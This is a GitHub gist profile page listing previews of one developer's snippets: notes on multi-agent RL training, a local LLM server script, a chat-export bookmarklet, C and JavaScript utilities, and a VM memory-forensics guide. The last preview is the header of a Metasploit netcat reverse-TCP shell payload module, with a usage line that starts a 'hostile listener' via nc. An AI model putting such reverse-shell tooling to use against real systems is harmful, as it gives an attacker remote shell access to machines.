Skip to content

Instantly share code, notes, and snippets.

View mikesmullin's full-sized avatar
🛴
woot!

Mike Smullin mikesmullin

🛴
woot!
View GitHub Profile
@mikesmullin
mikesmullin / rlcr-multi-agent-orgs-report.md
Created October 24, 2026 23:07
RLCR: training AI companies via collective rewards (multi-agent intro)

Training AI "Companies": Collective Rewards, Credit Assignment, and Cybernetic Multi-Agent Orgs

Audience: Intermediate AI users (comfortable with transformers, RLHF, and agent pipelines)
Trigger: @somewheresy's post "I am begging more people to study cybernetics and follow @thrialectics" (Oct 2026), which linked to General Reasoning's RLCR release and an Avalon-M1 video talk.
Date: written 2026-10-24, after web research + local transcript of the video (/tmp/rlcr-plain.txt)

1. TL;DR

On Oct 23, 2026, General Reasoning (GR, a small team) released RLCR — Reinforcement Learning from Collective Rewards, a recipe for training language models to work as a company: a CEO agent hires specialist agents, all talk on a shared message board with a shared workspace, and every agent receives the same team-level reward — there is no per-agent credit assignment. They used it to train Avalon-M1 (120B total / 12B active, from a Nemotron-3-Super base), and the team's headline clai

@mikesmullin
mikesmullin / qwen.sh
Created September 22, 2026 03:06
Qwen 3.8 27B on RTX 5090 at 90-120tps
llama-server \
--alias qwen3.8-27b-nvfp4-mtp-q8attn \
-m "$HOME/.lmstudio/models/utautako/Qwen3.8-27B-NVFP4-MTP-Q8attn-GGUF/Qwen3.8-27B-NVFP4-MTP-Q8attn.gguf" \
--mmproj "$HOME/.lmstudio/models/utautako/Qwen3.8-27B-NVFP4-MTP-Q8attn-GGUF/mmproj-Qwen3.8-27B-NVFP4-BF16.gguf" \
--spec-type draft-mtp \
--spec-draft-n-max 4 \
-ngl 99 \
-c 262144 \
@mikesmullin
mikesmullin / jev_megathread.md
Last active October 30, 2026 03:15
Jev Megathread
@mikesmullin
mikesmullin / bookmarklet.html
Created September 5, 2026 15:51
Export Grok.com Session to Markdown
<!doctype html>
<html>
<head><meta charset="utf-8"><title>Grok to Markdown bookmarklet</title></head>
<body>
<h1>Grok → Markdown bookmarklet</h1>
<p>Drag this link to your bookmarks bar (Zen browser), then click it on any grok.com chat:</p>
<p><a id="bm" href="#">Grok→MD</a></p>
<pre id="src"></pre>
<script>
const code = `(function(){try{
@mikesmullin
mikesmullin / game__common__ECS.c
Created May 27, 2025 01:07
Mike's Fast ECS v1.0.0-alpha (static C impl)
// this is the ECS lib
// Generational Index
// assemble an entity id
inline GID GI_eid(bool pair, CID gen, CID arch, CID arch_idx) {
return //
(pair ? PAIR_BIT : 0U) | //
((u32)gen << GEN_SHIFT) | //
((u32)arch << ARCH_SHIFT) | //
@mikesmullin
mikesmullin / spotify_js.md
Created May 7, 2025 23:12
Spotify Javascript Automation

Spotify Javascript Automation

I'm doing this because Spotify has an annoying bug, where it cannot set the volume properly when I click (it instead picks a random low-numbered value like 0.23, than the one I chose 0.9.)

  1. open devtools (F12) > debugger > search
  2. search for:

this._harmony.setVolume

@mikesmullin
mikesmullin / vbox_vm_core_analysis.md
Last active May 7, 2025 19:49
HOWTO: VirtualBox VM Pause, Core-dump, and Root-Cause Analysis (w/ Volatility3)

HOWTO: Snapshot & Analyze a VBox VM

VBoxManage controlvm "k8s-ctl3" pause

VBoxManage debugvm "k8s-ctl3" dumpvmcore --filename ~/k8s-ctl3-core.dump

user@FAFB09C2:~$ VBoxManage debugvm "k8s-ctl3" getregisters --cpu 0 rip
rip = 0xffffffff81ddde2b
user@FAFB09C2:~$ VBoxManage debugvm "k8s-ctl3" getregisters --cpu 1 rip
@mikesmullin
mikesmullin / defer.c
Created April 13, 2025 19:13
Example of defer in C
#include <stdio.h>
#include <stdlib.h>
int do_something(const char *filename) {
FILE *file = NULL;
char *buffer = NULL;
int result = -1;
file = fopen(filename, "r");
if (!file) {
@mikesmullin
mikesmullin / promiseBatch.js
Created February 18, 2024 05:13
javascript parallel async promise races in batches
const promiseBatch = async function* (concurrency, list, fn) {
for (let p = [], i = 0, l = list.length; i < l || p.length > 0;) {
if (i < l) {
let _p;
_p = fn(list[i]).then(r => [_p.__id, r]);
_p.__id = i++;
if (p.push(_p) < concurrency) {
continue;
}
}
@mikesmullin
mikesmullin / nc_reverse_tcp.rb
Created September 27, 2021 00:03
Metasploit: Payload: TTY Command Shell, Reverse TCP (Netcat) w/ AutoVerifySession=false to prevent echo test on connect
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
# /usr/share/metasploit-framework/modules/payloads/singles/generic/nc_reverse_tcp.rb
# usage:
# # launch hostile listener
# $ sudo nc -vlp 80 -ns 192.168.119.198